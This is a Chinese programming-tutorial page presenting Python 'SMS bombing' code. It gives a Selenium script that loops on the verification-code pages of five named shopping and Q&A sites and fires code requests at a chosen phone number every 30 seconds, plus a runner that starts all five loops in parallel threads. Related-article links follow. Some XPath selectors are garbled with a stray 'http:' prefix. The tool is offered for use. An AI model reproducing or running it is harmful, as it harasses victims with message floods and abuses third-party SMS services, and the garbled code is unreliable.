Python短信轟炸的代碼
更新時間:2020年03月25日 14:26:03 作者:小小鳥敲代碼
這篇文章主要介紹了Python短信轟炸的代碼,代碼簡單易懂,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
環(huán)境 python3.0
工具 pycharm
程序執(zhí)行方法
from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
def __init__(self):
self.phone = "xxxxx"#你要轟炸的電話號碼
self.num = 0
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 發(fā)送成功 {}".format(self.phone,self.num,name))
time.sleep(30)
def zhihu(self,name):
while True:#下面這行是剛剛敘說的chromedrive的安裝路徑
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.zhihu.com/question/39993344")
driver.find_element_by_xpath ( "http://button[@class='Button Button--primary Button--blue']" ).click ()
time.sleep(2)
tel = driver.find_element_by_xpath("http://input[@placeholder='手機號']")
tel.send_keys(self.phone)
button = driver.find_element_by_xpath ( "http://button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
self.send_yzm(button,name)
driver.quit ()
def guazi(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.guazi.com/www/bj/buy")
a_btn = driver.find_element_by_xpath ( "http://a[@class='uc-my']" )
a_btn.click()
time.sleep(2)
tel = driver.find_element_by_xpath("http://input[@placeholder='請輸入您的手機號碼']")
tel.send_keys( self.phone )
button = driver.find_element_by_xpath("http://button[@class='get-code']")
self.send_yzm(button,name)
driver.quit()
def wphui(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
tel = driver.find_element_by_xpath ( "http://input[@placeholder='請輸入手機號碼']" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( "http://input[@id='J_mobile_code']" ).click()
button = driver.find_element_by_xpath (
"http://a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
self.send_yzm ( button,name )
driver.quit ()
def suning(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://reg.suning.com/person.do" )
driver.find_element_by_xpath("http://a[@class='agree-btn']").click()
tel = driver.find_element_by_xpath ( "http://input[@id='mobileAlias']")
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath (
"http://a[@id='sendSmsCode']" )
self.send_yzm ( button,name )
driver.quit ()
def yhd(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://passport.yhd.com/passport/register_input.do" )
driver.find_element_by_xpath ( "http://input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
tel = driver.find_element_by_xpath ( "http://input[@id='phone']" )
tel.send_keys ( self.phone )
time.sleep(2)
button = driver.find_element_by_xpath (
"http://a[@class='receive_code fl same_code_btn r_disable_code ']" )
#button.click()
time.sleep(1)
self.send_yzm ( button,name )
driver.quit ()
執(zhí)行放發(fā)
from threading import Thread
from sendPhon import HongZha
hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品會",))
suning = Thread(target=hongzha.suning,args=("蘇寧",))
yhd= Thread( target=hongzha.yhd,args=("一號店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()
總結
到此這篇關于Python短信轟炸的代碼的文章就介紹到這了,更多相關Python短信轟炸內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Python數(shù)據(jù)結構與算法之圖的最短路徑(Dijkstra算法)完整實例
這篇文章主要介紹了Python數(shù)據(jù)結構與算法之圖的最短路徑(Dijkstra算法),結合完整實例形式分析了Python圖的最短路徑算法相關原理與實現(xiàn)技巧,需要的朋友可以參考下2017-12-12
numpy.ndarray 交換多維數(shù)組(矩陣)的行/列方法
今天小編就為大家分享一篇numpy.ndarray 交換多維數(shù)組(矩陣)的行/列方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-08-08
Python 使用Opencv實現(xiàn)目標檢測與識別的示例代碼
這篇文章主要介紹了Python 使用Opencv實現(xiàn)目標檢測與識別的示例代碼,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2020-09-09
Pyqt5?Designer構建桌面應用設計及實現(xiàn)代碼
這篇文章主要為大家介紹了Pyqt5?Designer構建桌面應用設計及實現(xiàn)代碼,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-12-12

